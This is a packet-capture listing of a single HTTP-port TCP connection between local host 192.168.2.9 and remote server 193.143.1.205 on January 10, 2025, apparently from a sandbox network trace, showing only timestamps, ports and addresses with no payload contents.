Jan 10, 2025 18:23:28.687954903 CET	80	49707	193.143.1.205	192.168.2.9
Jan 10, 2025 18:23:28.687990904 CET	80	49707	193.143.1.205	192.168.2.9
Jan 10, 2025 18:23:28.688033104 CET	49707	80	192.168.2.9	193.143.1.205
Jan 10, 2025 18:23:28.718750954 CET	80	49707	193.143.1.205	192.168.2.9
Jan 10, 2025 18:23:28.718784094 CET	80	49707	193.143.1.205	192.168.2.9
Jan 10, 2025 18:23:28.718801975 CET	80	49707	193.143.1.205	192.168.2.9
Jan 10, 2025 18:23:28.718816042 CET	80	49707	193.143.1.205	192.168.2.9
Jan 10, 2025 18:23:28.718827009 CET	80	49707	193.143.1.205	192.168.2.9
Jan 10, 2025 18:23:28.718832016 CET	80	49707	193.143.1.205	192.168.2.9
Jan 10, 2025 18:23:28.718837023 CET	80	49707	193.143.1.205	192.168.2.9
Jan 10, 2025 18:23:28.718846083 CET	49707	80	192.168.2.9	193.143.1.205
Jan 10, 2025 18:23:28.718847036 CET	80	49707	193.143.1.205	192.168.2.9
Jan 10, 2025 18:23:28.718862057 CET	80	49707	193.143.1.205	192.168.2.9
Jan 10, 2025 18:23:28.718873978 CET	80	49707	193.143.1.205	192.168.2.9
Jan 10, 2025 18:23:28.718883991 CET	49707	80	192.168.2.9	193.143.1.205
Jan 10, 2025 18:23:28.718935013 CET	49707	80	192.168.2.9	193.143.1.205
Jan 10, 2025 18:23:28.719136000 CET	80	49707	193.143.1.205	192.168.2.9
Jan 10, 2025 18:23:28.719186068 CET	80	49707	193.143.1.205	192.168.2.9
Jan 10, 2025 18:23:28.719227076 CET	49707	80	192.168.2.9	193.143.1.205
Jan 10, 2025 18:23:28.719252110 CET	80	49707	193.143.1.205	192.168.2.9
Jan 10, 2025 18:23:28.719283104 CET	80	49707	193.143.1.205	192.168.2.9
Jan 10, 2025 18:23:28.719293118 CET	80	49707	193.143.1.205	192.168.2.9
Jan 10, 2025 18:23:28.719316959 CET	49707	80	192.168.2.9	193.143.1.205
Jan 10, 2025 18:23:28.719520092 CET	80	49707	193.143.1.205	192.168.2.9
Jan 10, 2025 18:23:28.719537973 CET	80	49707	193.143.1.205	192.168.2.9
Jan 10, 2025 18:23:28.719551086 CET	80	49707	193.143.1.205	192.168.2.9
Jan 10, 2025 18:23:28.719579935 CET	80	49707	193.143.1.205	192.168.2.9
Jan 10, 2025 18:23:28.719588995 CET	80	49707	193.143.1.205	192.168.2.9
Jan 10, 2025 18:23:28.719592094 CET	49707	80	192.168.2.9	193.143.1.205
Jan 10, 2025 18:23:28.719592094 CET	49707	80	192.168.2.9	193.143.1.205
Jan 10, 2025 18:23:28.719600916 CET	80	49707	193.143.1.205	192.168.2.9
Jan 10, 2025 18:23:28.719616890 CET	80	49707	193.143.1.205	192.168.2.9
Jan 10, 2025 18:23:28.719651937 CET	49707	80	192.168.2.9	193.143.1.205
Jan 10, 2025 18:23:28.719676971 CET	49707	80	192.168.2.9	193.143.1.205
Jan 10, 2025 18:23:28.720061064 CET	80	49707	193.143.1.205	192.168.2.9
Jan 10, 2025 18:23:28.720092058 CET	80	49707	193.143.1.205	192.168.2.9
Jan 10, 2025 18:23:28.720102072 CET	80	49707	193.143.1.205	192.168.2.9
Jan 10, 2025 18:23:28.720132113 CET	49707	80	192.168.2.9	193.143.1.205
Jan 10, 2025 18:23:28.720171928 CET	80	49707	193.143.1.205	192.168.2.9
Jan 10, 2025 18:23:28.720185041 CET	80	49707	193.143.1.205	192.168.2.9
Jan 10, 2025 18:23:28.720194101 CET	80	49707	193.143.1.205	192.168.2.9
Jan 10, 2025 18:23:28.720206976 CET	80	49707	193.143.1.205	192.168.2.9
Jan 10, 2025 18:23:28.720213890 CET	49707	80	192.168.2.9	193.143.1.205
Jan 10, 2025 18:23:28.720237017 CET	80	49707	193.143.1.205	192.168.2.9
Jan 10, 2025 18:23:28.720244884 CET	49707	80	192.168.2.9	193.143.1.205
Jan 10, 2025 18:23:28.720248938 CET	80	49707	193.143.1.205	192.168.2.9
Jan 10, 2025 18:23:28.720261097 CET	80	49707	193.143.1.205	192.168.2.9
Jan 10, 2025 18:23:28.720273018 CET	80	49707	193.143.1.205	192.168.2.9
Jan 10, 2025 18:23:28.720274925 CET	49707	80	192.168.2.9	193.143.1.205
Jan 10, 2025 18:23:28.720308065 CET	49707	80	192.168.2.9	193.143.1.205
Jan 10, 2025 18:23:28.721035004 CET	80	49707	193.143.1.205	192.168.2.9
Jan 10, 2025 18:23:28.721077919 CET	80	49707	193.143.1.205	192.168.2.9
Jan 10, 2025 18:23:28.721081018 CET	49707	80	192.168.2.9	193.143.1.205
Jan 10, 2025 18:23:28.721088886 CET	80	49707	193.143.1.205	192.168.2.9
Jan 10, 2025 18:23:28.721115112 CET	49707	80	192.168.2.9	193.143.1.205
Jan 10, 2025 18:23:28.721144915 CET	80	49707	193.143.1.205	192.168.2.9
Jan 10, 2025 18:23:28.721154928 CET	80	49707	193.143.1.205	192.168.2.9
Jan 10, 2025 18:23:28.721164942 CET	80	49707	193.143.1.205	192.168.2.9
Jan 10, 2025 18:23:28.721175909 CET	80	49707	193.143.1.205	192.168.2.9
Jan 10, 2025 18:23:28.721204996 CET	80	49707	193.143.1.205	192.168.2.9
Jan 10, 2025 18:23:28.721215963 CET	80	49707	193.143.1.205	192.168.2.9
Jan 10, 2025 18:23:28.721216917 CET	49707	80	192.168.2.9	193.143.1.205
Jan 10, 2025 18:23:28.721227884 CET	80	49707	193.143.1.205	192.168.2.9
Jan 10, 2025 18:23:28.721240997 CET	80	49707	193.143.1.205	192.168.2.9
Jan 10, 2025 18:23:28.721256971 CET	49707	80	192.168.2.9	193.143.1.205
Jan 10, 2025 18:23:28.721271038 CET	49707	80	192.168.2.9	193.143.1.205
Jan 10, 2025 18:23:28.722120047 CET	80	49707	193.143.1.205	192.168.2.9
Jan 10, 2025 18:23:28.722131014 CET	80	49707	193.143.1.205	192.168.2.9
Jan 10, 2025 18:23:28.722151041 CET	80	49707	193.143.1.205	192.168.2.9
Jan 10, 2025 18:23:28.722161055 CET	80	49707	193.143.1.205	192.168.2.9
Jan 10, 2025 18:23:28.722165108 CET	49707	80	192.168.2.9	193.143.1.205
Jan 10, 2025 18:23:28.722172976 CET	80	49707	193.143.1.205	192.168.2.9
Jan 10, 2025 18:23:28.722183943 CET	80	49707	193.143.1.205	192.168.2.9
Jan 10, 2025 18:23:28.722194910 CET	80	49707	193.143.1.205	192.168.2.9
Jan 10, 2025 18:23:28.722202063 CET	49707	80	192.168.2.9	193.143.1.205
Jan 10, 2025 18:23:28.722204924 CET	80	49707	193.143.1.205	192.168.2.9
Jan 10, 2025 18:23:28.722217083 CET	80	49707	193.143.1.205	192.168.2.9
Jan 10, 2025 18:23:28.722228050 CET	80	49707	193.143.1.205	192.168.2.9
Jan 10, 2025 18:23:28.722230911 CET	49707	80	192.168.2.9	193.143.1.205
Jan 10, 2025 18:23:28.722240925 CET	80	49707	193.143.1.205	192.168.2.9
Jan 10, 2025 18:23:28.722260952 CET	49707	80	192.168.2.9	193.143.1.205
Jan 10, 2025 18:23:28.722281933 CET	49707	80	192.168.2.9	193.143.1.205
Jan 10, 2025 18:23:28.723139048 CET	80	49707	193.143.1.205	192.168.2.9
Jan 10, 2025 18:23:28.723150015 CET	80	49707	193.143.1.205	192.168.2.9
Jan 10, 2025 18:23:28.723161936 CET	80	49707	193.143.1.205	192.168.2.9
Jan 10, 2025 18:23:28.723172903 CET	80	49707	193.143.1.205	192.168.2.9
Jan 10, 2025 18:23:28.723181009 CET	49707	80	192.168.2.9	193.143.1.205
Jan 10, 2025 18:23:28.723185062 CET	80	49707	193.143.1.205	192.168.2.9
Jan 10, 2025 18:23:28.723196030 CET	80	49707	193.143.1.205	192.168.2.9
Jan 10, 2025 18:23:28.723207951 CET	80	49707	193.143.1.205	192.168.2.9
Jan 10, 2025 18:23:28.723207951 CET	49707	80	192.168.2.9	193.143.1.205
Jan 10, 2025 18:23:28.723218918 CET	80	49707	193.143.1.205	192.168.2.9
Jan 10, 2025 18:23:28.723232031 CET	80	49707	193.143.1.205	192.168.2.9
Jan 10, 2025 18:23:28.723238945 CET	49707	80	192.168.2.9	193.143.1.205
Jan 10, 2025 18:23:28.723244905 CET	80	49707	193.143.1.205	192.168.2.9
Jan 10, 2025 18:23:28.723257065 CET	80	49707	193.143.1.205	192.168.2.9
Jan 10, 2025 18:23:28.723257065 CET	49707	80	192.168.2.9	193.143.1.205
Jan 10, 2025 18:23:28.723272085 CET	49707	80	192.168.2.9	193.143.1.205
Jan 10, 2025 18:23:28.723297119 CET	49707	80	192.168.2.9	193.143.1.205
Jan 10, 2025 18:23:28.723978996 CET	80	49707	193.143.1.205	192.168.2.9
Jan 10, 2025 18:23:28.723989964 CET	80	49707	193.143.1.205	192.168.2.9
Jan 10, 2025 18:23:28.723999977 CET	80	49707	193.143.1.205	192.168.2.9
Jan 10, 2025 18:23:28.724010944 CET	80	49707	193.143.1.205	192.168.2.9
Jan 10, 2025 18:23:28.724020958 CET	80	49707	193.143.1.205	192.168.2.9
Jan 10, 2025 18:23:28.724021912 CET	49707	80	192.168.2.9	193.143.1.205
Jan 10, 2025 18:23:28.724041939 CET	49707	80	192.168.2.9	193.143.1.205
Jan 10, 2025 18:23:28.740238905 CET	80	49707	193.143.1.205	192.168.2.9
Jan 10, 2025 18:23:28.740252018 CET	80	49707	193.143.1.205	192.168.2.9
Jan 10, 2025 18:23:28.740262032 CET	80	49707	193.143.1.205	192.168.2.9
Jan 10, 2025 18:23:28.740333080 CET	49707	80	192.168.2.9	193.143.1.205
Jan 10, 2025 18:23:28.740374088 CET	49707	80	192.168.2.9	193.143.1.205
Jan 10, 2025 18:23:28.752599001 CET	49707	80	192.168.2.9	193.143.1.205
Jan 10, 2025 18:23:28.774652958 CET	80	49707	193.143.1.205	192.168.2.9
Jan 10, 2025 18:23:28.774672031 CET	80	49707	193.143.1.205	192.168.2.9
Jan 10, 2025 18:23:28.774682999 CET	80	49707	193.143.1.205	192.168.2.9
Jan 10, 2025 18:23:28.774693012 CET	80	49707	193.143.1.205	192.168.2.9
Jan 10, 2025 18:23:28.774703979 CET	80	49707	193.143.1.205	192.168.2.9
Jan 10, 2025 18:23:28.774709940 CET	80	49707	193.143.1.205	192.168.2.9
Jan 10, 2025 18:23:28.774714947 CET	80	49707	193.143.1.205	192.168.2.9
Jan 10, 2025 18:23:28.774719954 CET	80	49707	193.143.1.205	192.168.2.9
Jan 10, 2025 18:23:28.774729013 CET	80	49707	193.143.1.205	192.168.2.9
Jan 10, 2025 18:23:28.774734020 CET	80	49707	193.143.1.205	192.168.2.9
Jan 10, 2025 18:23:28.774739981 CET	80	49707	193.143.1.205	192.168.2.9
Jan 10, 2025 18:23:28.774749994 CET	49707	80	192.168.2.9	193.143.1.205
Jan 10, 2025 18:23:28.774818897 CET	49707	80	192.168.2.9	193.143.1.205
Jan 10, 2025 18:23:28.805728912 CET	80	49707	193.143.1.205	192.168.2.9
Jan 10, 2025 18:23:28.805767059 CET	80	49707	193.143.1.205	192.168.2.9
Jan 10, 2025 18:23:28.805794001 CET	49707	80	192.168.2.9	193.143.1.205
Jan 10, 2025 18:23:28.805804014 CET	80	49707	193.143.1.205	192.168.2.9
Jan 10, 2025 18:23:28.805839062 CET	80	49707	193.143.1.205	192.168.2.9
Jan 10, 2025 18:23:28.805846930 CET	49707	80	192.168.2.9	193.143.1.205
Jan 10, 2025 18:23:28.805969000 CET	80	49707	193.143.1.205	192.168.2.9
Jan 10, 2025 18:23:28.806022882 CET	49707	80	192.168.2.9	193.143.1.205
Jan 10, 2025 18:23:28.808538914 CET	80	49707	193.143.1.205	192.168.2.9
Jan 10, 2025 18:23:28.808572054 CET	80	49707	193.143.1.205	192.168.2.9
Jan 10, 2025 18:23:28.808626890 CET	49707	80	192.168.2.9	193.143.1.205
Jan 10, 2025 18:23:28.808638096 CET	80	49707	193.143.1.205	192.168.2.9
Jan 10, 2025 18:23:28.808676004 CET	80	49707	193.143.1.205	192.168.2.9
Jan 10, 2025 18:23:28.808706999 CET	80	49707	193.143.1.205	192.168.2.9
Jan 10, 2025 18:23:28.808720112 CET	49707	80	192.168.2.9	193.143.1.205
Jan 10, 2025 18:23:28.808741093 CET	80	49707	193.143.1.205	192.168.2.9
Jan 10, 2025 18:23:28.808794975 CET	49707	80	192.168.2.9	193.143.1.205
Jan 10, 2025 18:23:28.808795929 CET	80	49707	193.143.1.205	192.168.2.9
Jan 10, 2025 18:23:28.808830976 CET	80	49707	193.143.1.205	192.168.2.9
Jan 10, 2025 18:23:28.808866024 CET	80	49707	193.143.1.205	192.168.2.9
Jan 10, 2025 18:23:28.808876991 CET	49707	80	192.168.2.9	193.143.1.205
Jan 10, 2025 18:23:28.808901072 CET	80	49707	193.143.1.205	192.168.2.9
Jan 10, 2025 18:23:28.808936119 CET	80	49707	193.143.1.205	192.168.2.9
Jan 10, 2025 18:23:28.808940887 CET	49707	80	192.168.2.9	193.143.1.205
Jan 10, 2025 18:23:28.827030897 CET	80	49707	193.143.1.205	192.168.2.9
Jan 10, 2025 18:23:28.827112913 CET	49707	80	192.168.2.9	193.143.1.205
Jan 10, 2025 18:23:28.839705944 CET	80	49707	193.143.1.205	192.168.2.9
Jan 10, 2025 18:23:28.839725018 CET	80	49707	193.143.1.205	192.168.2.9
Jan 10, 2025 18:23:28.839740038 CET	80	49707	193.143.1.205	192.168.2.9
Jan 10, 2025 18:23:28.839750051 CET	80	49707	193.143.1.205	192.168.2.9
Jan 10, 2025 18:23:28.839756966 CET	80	49707	193.143.1.205	192.168.2.9
Jan 10, 2025 18:23:28.839816093 CET	49707	80	192.168.2.9	193.143.1.205
Jan 10, 2025 18:23:28.839828014 CET	80	49707	193.143.1.205	192.168.2.9
Jan 10, 2025 18:23:28.839838028 CET	80	49707	193.143.1.205	192.168.2.9
Jan 10, 2025 18:23:28.839850903 CET	80	49707	193.143.1.205	192.168.2.9
Jan 10, 2025 18:23:28.839860916 CET	80	49707	193.143.1.205	192.168.2.9
Jan 10, 2025 18:23:28.839888096 CET	49707	80	192.168.2.9	193.143.1.205
Jan 10, 2025 18:23:28.839925051 CET	49707	80	192.168.2.9	193.143.1.205
Jan 10, 2025 18:23:28.839929104 CET	80	49707	193.143.1.205	192.168.2.9
Jan 10, 2025 18:23:28.839940071 CET	80	49707	193.143.1.205	192.168.2.9
Jan 10, 2025 18:23:28.839950085 CET	80	49707	193.143.1.205	192.168.2.9
Jan 10, 2025 18:23:28.839972019 CET	49707	80	192.168.2.9	193.143.1.205
Jan 10, 2025 18:23:28.840064049 CET	49707	80	192.168.2.9	193.143.1.205
Jan 10, 2025 18:23:28.840070963 CET	80	49707	193.143.1.205	192.168.2.9
Jan 10, 2025 18:23:28.840084076 CET	80	49707	193.143.1.205	192.168.2.9
Jan 10, 2025 18:23:28.840095043 CET	80	49707	193.143.1.205	192.168.2.9
Jan 10, 2025 18:23:28.840117931 CET	49707	80	192.168.2.9	193.143.1.205
Jan 10, 2025 18:23:28.840198040 CET	80	49707	193.143.1.205	192.168.2.9
Jan 10, 2025 18:23:28.840209007 CET	80	49707	193.143.1.205	192.168.2.9
Jan 10, 2025 18:23:28.840219975 CET	80	49707	193.143.1.205	192.168.2.9
Jan 10, 2025 18:23:28.840245008 CET	49707	80	192.168.2.9	193.143.1.205
Jan 10, 2025 18:23:28.840279102 CET	80	49707	193.143.1.205	192.168.2.9
Jan 10, 2025 18:23:28.840280056 CET	49707	80	192.168.2.9	193.143.1.205
Jan 10, 2025 18:23:28.840291023 CET	80	49707	193.143.1.205	192.168.2.9
Jan 10, 2025 18:23:28.840301991 CET	80	49707	193.143.1.205	192.168.2.9
Jan 10, 2025 18:23:28.840316057 CET	80	49707	193.143.1.205	192.168.2.9
Jan 10, 2025 18:23:28.840337992 CET	49707	80	192.168.2.9	193.143.1.205
Jan 10, 2025 18:23:28.840358973 CET	49707	80	192.168.2.9	193.143.1.205
Jan 10, 2025 18:23:28.840538979 CET	80	49707	193.143.1.205	192.168.2.9
Jan 10, 2025 18:23:28.840579033 CET	80	49707	193.143.1.205	192.168.2.9
Jan 10, 2025 18:23:28.840590000 CET	80	49707	193.143.1.205	192.168.2.9
Jan 10, 2025 18:23:28.840610981 CET	80	49707	193.143.1.205	192.168.2.9
Jan 10, 2025 18:23:28.840620041 CET	49707	80	192.168.2.9	193.143.1.205
Jan 10, 2025 18:23:28.840622902 CET	80	49707	193.143.1.205	192.168.2.9
Jan 10, 2025 18:23:28.840661049 CET	49707	80	192.168.2.9	193.143.1.205
Jan 10, 2025 18:23:28.840775967 CET	80	49707	193.143.1.205	192.168.2.9
Jan 10, 2025 18:23:28.840786934 CET	80	49707	193.143.1.205	192.168.2.9
Jan 10, 2025 18:23:28.840799093 CET	80	49707	193.143.1.205	192.168.2.9
Jan 10, 2025 18:23:28.840822935 CET	49707	80	192.168.2.9	193.143.1.205
Jan 10, 2025 18:23:28.840842009 CET	49707	80	192.168.2.9	193.143.1.205
Jan 10, 2025 18:23:28.840853930 CET	80	49707	193.143.1.205	192.168.2.9
Jan 10, 2025 18:23:28.840863943 CET	80	49707	193.143.1.205	192.168.2.9
Jan 10, 2025 18:23:28.840873957 CET	80	49707	193.143.1.205	192.168.2.9
Jan 10, 2025 18:23:28.840884924 CET	80	49707	193.143.1.205	192.168.2.9
Jan 10, 2025 18:23:28.840899944 CET	49707	80	192.168.2.9	193.143.1.205
Jan 10, 2025 18:23:28.840914965 CET	80	49707	193.143.1.205	192.168.2.9
Jan 10, 2025 18:23:28.840924978 CET	80	49707	193.143.1.205	192.168.2.9
Jan 10, 2025 18:23:28.840936899 CET	80	49707	193.143.1.205	192.168.2.9
Jan 10, 2025 18:23:28.840939999 CET	49707	80	192.168.2.9	193.143.1.205
Jan 10, 2025 18:23:28.840969086 CET	49707	80	192.168.2.9	193.143.1.205
Jan 10, 2025 18:23:28.841304064 CET	80	49707	193.143.1.205	192.168.2.9
Jan 10, 2025 18:23:28.841316938 CET	80	49707	193.143.1.205	192.168.2.9
Jan 10, 2025 18:23:28.841329098 CET	80	49707	193.143.1.205	192.168.2.9
Jan 10, 2025 18:23:28.841340065 CET	80	49707	193.143.1.205	192.168.2.9
Jan 10, 2025 18:23:28.841347933 CET	49707	80	192.168.2.9	193.143.1.205
Jan 10, 2025 18:23:28.841378927 CET	80	49707	193.143.1.205	192.168.2.9
Jan 10, 2025 18:23:28.841381073 CET	49707	80	192.168.2.9	193.143.1.205
Jan 10, 2025 18:23:28.841392040 CET	80	49707	193.143.1.205	192.168.2.9
Jan 10, 2025 18:23:28.841403961 CET	80	49707	193.143.1.205	192.168.2.9
Jan 10, 2025 18:23:28.841414928 CET	80	49707	193.143.1.205	192.168.2.9
Jan 10, 2025 18:23:28.841420889 CET	49707	80	192.168.2.9	193.143.1.205
Jan 10, 2025 18:23:28.841464043 CET	49707	80	192.168.2.9	193.143.1.205
Jan 10, 2025 18:23:28.841552973 CET	80	49707	193.143.1.205	192.168.2.9
Jan 10, 2025 18:23:28.841563940 CET	80	49707	193.143.1.205	192.168.2.9
Jan 10, 2025 18:23:28.841574907 CET	80	49707	193.143.1.205	192.168.2.9
Jan 10, 2025 18:23:28.841586113 CET	80	49707	193.143.1.205	192.168.2.9
Jan 10, 2025 18:23:28.841598034 CET	80	49707	193.143.1.205	192.168.2.9
Jan 10, 2025 18:23:28.841603041 CET	49707	80	192.168.2.9	193.143.1.205
Jan 10, 2025 18:23:28.841638088 CET	49707	80	192.168.2.9	193.143.1.205
Jan 10, 2025 18:23:28.841655016 CET	49707	80	192.168.2.9	193.143.1.205
Jan 10, 2025 18:23:28.841954947 CET	80	49707	193.143.1.205	192.168.2.9
Jan 10, 2025 18:23:28.841964960 CET	80	49707	193.143.1.205	192.168.2.9
Jan 10, 2025 18:23:28.841974974 CET	80	49707	193.143.1.205	192.168.2.9
Jan 10, 2025 18:23:28.842015982 CET	49707	80	192.168.2.9	193.143.1.205
Jan 10, 2025 18:23:28.842135906 CET	80	49707	193.143.1.205	192.168.2.9
Jan 10, 2025 18:23:28.842147112 CET	80	49707	193.143.1.205	192.168.2.9
Jan 10, 2025 18:23:28.842150927 CET	80	49707	193.143.1.205	192.168.2.9
Jan 10, 2025 18:23:28.842156887 CET	80	49707	193.143.1.205	192.168.2.9
Jan 10, 2025 18:23:28.842163086 CET	80	49707	193.143.1.205	192.168.2.9
Jan 10, 2025 18:23:28.842166901 CET	80	49707	193.143.1.205	192.168.2.9
Jan 10, 2025 18:23:28.842176914 CET	80	49707	193.143.1.205	192.168.2.9
Jan 10, 2025 18:23:28.842183113 CET	80	49707	193.143.1.205	192.168.2.9
Jan 10, 2025 18:23:28.842226982 CET	49707	80	192.168.2.9	193.143.1.205
Jan 10, 2025 18:23:28.842253923 CET	49707	80	192.168.2.9	193.143.1.205
Jan 10, 2025 18:23:28.844691038 CET	80	49707	193.143.1.205	192.168.2.9
Jan 10, 2025 18:23:28.844708920 CET	80	49707	193.143.1.205	192.168.2.9
Jan 10, 2025 18:23:28.844719887 CET	80	49707	193.143.1.205	192.168.2.9
Jan 10, 2025 18:23:28.844731092 CET	80	49707	193.143.1.205	192.168.2.9
Jan 10, 2025 18:23:28.844741106 CET	80	49707	193.143.1.205	192.168.2.9
Jan 10, 2025 18:23:28.844753027 CET	80	49707	193.143.1.205	192.168.2.9
Jan 10, 2025 18:23:28.844770908 CET	49707	80	192.168.2.9	193.143.1.205
Jan 10, 2025 18:23:28.844783068 CET	80	49707	193.143.1.205	192.168.2.9
Jan 10, 2025 18:23:28.844794035 CET	80	49707	193.143.1.205	192.168.2.9
Jan 10, 2025 18:23:28.844805956 CET	80	49707	193.143.1.205	192.168.2.9
Jan 10, 2025 18:23:28.844810963 CET	49707	80	192.168.2.9	193.143.1.205
Jan 10, 2025 18:23:28.844844103 CET	49707	80	192.168.2.9	193.143.1.205
Jan 10, 2025 18:23:28.844885111 CET	80	49707	193.143.1.205	192.168.2.9
Jan 10, 2025 18:23:28.844896078 CET	80	49707	193.143.1.205	192.168.2.9
Jan 10, 2025 18:23:28.844904900 CET	80	49707	193.143.1.205	192.168.2.9
Jan 10, 2025 18:23:28.844917059 CET	80	49707	193.143.1.205	192.168.2.9
Jan 10, 2025 18:23:28.844933033 CET	49707	80	192.168.2.9	193.143.1.205
Jan 10, 2025 18:23:28.844944954 CET	80	49707	193.143.1.205	192.168.2.9
Jan 10, 2025 18:23:28.844960928 CET	49707	80	192.168.2.9	193.143.1.205
Jan 10, 2025 18:23:28.844961882 CET	80	49707	193.143.1.205	192.168.2.9
Jan 10, 2025 18:23:28.844974041 CET	80	49707	193.143.1.205	192.168.2.9
Jan 10, 2025 18:23:28.844985008 CET	80	49707	193.143.1.205	192.168.2.9
Jan 10, 2025 18:23:28.844995975 CET	80	49707	193.143.1.205	192.168.2.9
Jan 10, 2025 18:23:28.845009089 CET	80	49707	193.143.1.205	192.168.2.9
Jan 10, 2025 18:23:28.845026016 CET	49707	80	192.168.2.9	193.143.1.205
Jan 10, 2025 18:23:28.845058918 CET	49707	80	192.168.2.9	193.143.1.205
Jan 10, 2025 18:23:28.845171928 CET	80	49707	193.143.1.205	192.168.2.9
Jan 10, 2025 18:23:28.845184088 CET	80	49707	193.143.1.205	192.168.2.9
Jan 10, 2025 18:23:28.845236063 CET	49707	80	192.168.2.9	193.143.1.205
Jan 10, 2025 18:23:28.845257998 CET	80	49707	193.143.1.205	192.168.2.9
Jan 10, 2025 18:23:28.845272064 CET	80	49707	193.143.1.205	192.168.2.9
Jan 10, 2025 18:23:28.845319033 CET	49707	80	192.168.2.9	193.143.1.205
Jan 10, 2025 18:23:28.861327887 CET	80	49707	193.143.1.205	192.168.2.9
Jan 10, 2025 18:23:28.861339092 CET	80	49707	193.143.1.205	192.168.2.9
Jan 10, 2025 18:23:28.861350060 CET	80	49707	193.143.1.205	192.168.2.9
Jan 10, 2025 18:23:28.861385107 CET	49707	80	192.168.2.9	193.143.1.205
Jan 10, 2025 18:23:28.861454010 CET	80	49707	193.143.1.205	192.168.2.9
Jan 10, 2025 18:23:28.861464977 CET	80	49707	193.143.1.205	192.168.2.9
Jan 10, 2025 18:23:28.861485004 CET	80	49707	193.143.1.205	192.168.2.9
Jan 10, 2025 18:23:28.861493111 CET	49707	80	192.168.2.9	193.143.1.205
Jan 10, 2025 18:23:28.861495018 CET	80	49707	193.143.1.205	192.168.2.9
Jan 10, 2025 18:23:28.861515999 CET	80	49707	193.143.1.205	192.168.2.9
Jan 10, 2025 18:23:28.861522913 CET	49707	80	192.168.2.9	193.143.1.205
Jan 10, 2025 18:23:28.861531019 CET	80	49707	193.143.1.205	192.168.2.9
Jan 10, 2025 18:23:28.861543894 CET	80	49707	193.143.1.205	192.168.2.9
Jan 10, 2025 18:23:28.861562967 CET	49707	80	192.168.2.9	193.143.1.205
Jan 10, 2025 18:23:28.861578941 CET	49707	80	192.168.2.9	193.143.1.205
Jan 10, 2025 18:23:28.861594915 CET	80	49707	193.143.1.205	192.168.2.9
Jan 10, 2025 18:23:28.861614943 CET	80	49707	193.143.1.205	192.168.2.9
Jan 10, 2025 18:23:28.861624956 CET	80	49707	193.143.1.205	192.168.2.9
Jan 10, 2025 18:23:28.861637115 CET	80	49707	193.143.1.205	192.168.2.9
Jan 10, 2025 18:23:28.861645937 CET	80	49707	193.143.1.205	192.168.2.9
Jan 10, 2025 18:23:28.861658096 CET	49707	80	192.168.2.9	193.143.1.205
Jan 10, 2025 18:23:28.861671925 CET	49707	80	192.168.2.9	193.143.1.205
Jan 10, 2025 18:23:28.892339945 CET	80	49707	193.143.1.205	192.168.2.9
Jan 10, 2025 18:23:28.892374992 CET	80	49707	193.143.1.205	192.168.2.9
Jan 10, 2025 18:23:28.892410040 CET	80	49707	193.143.1.205	192.168.2.9
Jan 10, 2025 18:23:28.892433882 CET	49707	80	192.168.2.9	193.143.1.205
Jan 10, 2025 18:23:28.892443895 CET	80	49707	193.143.1.205	192.168.2.9
Jan 10, 2025 18:23:28.892460108 CET	49707	80	192.168.2.9	193.143.1.205
Jan 10, 2025 18:23:28.892481089 CET	80	49707	193.143.1.205	192.168.2.9
Jan 10, 2025 18:23:28.892514944 CET	80	49707	193.143.1.205	192.168.2.9
Jan 10, 2025 18:23:28.892519951 CET	49707	80	192.168.2.9	193.143.1.205
Jan 10, 2025 18:23:28.892550945 CET	80	49707	193.143.1.205	192.168.2.9
Jan 10, 2025 18:23:28.892586946 CET	80	49707	193.143.1.205	192.168.2.9
Jan 10, 2025 18:23:28.892592907 CET	49707	80	192.168.2.9	193.143.1.205
Jan 10, 2025 18:23:28.895459890 CET	80	49707	193.143.1.205	192.168.2.9
Jan 10, 2025 18:23:28.895490885 CET	80	49707	193.143.1.205	192.168.2.9
Jan 10, 2025 18:23:28.895514011 CET	49707	80	192.168.2.9	193.143.1.205
Jan 10, 2025 18:23:28.895543098 CET	80	49707	193.143.1.205	192.168.2.9
Jan 10, 2025 18:23:28.895579100 CET	80	49707	193.143.1.205	192.168.2.9
Jan 10, 2025 18:23:28.895586014 CET	49707	80	192.168.2.9	193.143.1.205
Jan 10, 2025 18:23:28.895612955 CET	80	49707	193.143.1.205	192.168.2.9
Jan 10, 2025 18:23:28.895644903 CET	49707	80	192.168.2.9	193.143.1.205
Jan 10, 2025 18:23:28.895646095 CET	80	49707	193.143.1.205	192.168.2.9
Jan 10, 2025 18:23:28.895679951 CET	80	49707	193.143.1.205	192.168.2.9
Jan 10, 2025 18:23:28.895716906 CET	80	49707	193.143.1.205	192.168.2.9
Jan 10, 2025 18:23:28.895720005 CET	49707	80	192.168.2.9	193.143.1.205
Jan 10, 2025 18:23:28.895749092 CET	80	49707	193.143.1.205	192.168.2.9
Jan 10, 2025 18:23:28.895788908 CET	49707	80	192.168.2.9	193.143.1.205
Jan 10, 2025 18:23:28.913878918 CET	80	49707	193.143.1.205	192.168.2.9
Jan 10, 2025 18:23:28.913908958 CET	80	49707	193.143.1.205	192.168.2.9
Jan 10, 2025 18:23:28.913960934 CET	80	49707	193.143.1.205	192.168.2.9
Jan 10, 2025 18:23:28.913989067 CET	49707	80	192.168.2.9	193.143.1.205
Jan 10, 2025 18:23:28.913995028 CET	80	49707	193.143.1.205	192.168.2.9
Jan 10, 2025 18:23:28.914028883 CET	80	49707	193.143.1.205	192.168.2.9
Jan 10, 2025 18:23:28.914036036 CET	49707	80	192.168.2.9	193.143.1.205
Jan 10, 2025 18:23:28.914063931 CET	80	49707	193.143.1.205	192.168.2.9
Jan 10, 2025 18:23:28.914097071 CET	80	49707	193.143.1.205	192.168.2.9
Jan 10, 2025 18:23:28.914105892 CET	49707	80	192.168.2.9	193.143.1.205
Jan 10, 2025 18:23:28.914132118 CET	80	49707	193.143.1.205	192.168.2.9
Jan 10, 2025 18:23:28.914202929 CET	49707	80	192.168.2.9	193.143.1.205
Jan 10, 2025 18:23:28.926495075 CET	80	49707	193.143.1.205	192.168.2.9
Jan 10, 2025 18:23:28.926552057 CET	80	49707	193.143.1.205	192.168.2.9
Jan 10, 2025 18:23:28.926583052 CET	80	49707	193.143.1.205	192.168.2.9
Jan 10, 2025 18:23:28.926600933 CET	49707	80	192.168.2.9	193.143.1.205
Jan 10, 2025 18:23:28.926634073 CET	80	49707	193.143.1.205	192.168.2.9
Jan 10, 2025 18:23:28.926678896 CET	49707	80	192.168.2.9	193.143.1.205
Jan 10, 2025 18:23:28.926678896 CET	80	49707	193.143.1.205	192.168.2.9
Jan 10, 2025 18:23:28.926733017 CET	80	49707	193.143.1.205	192.168.2.9
Jan 10, 2025 18:23:28.926768064 CET	80	49707	193.143.1.205	192.168.2.9
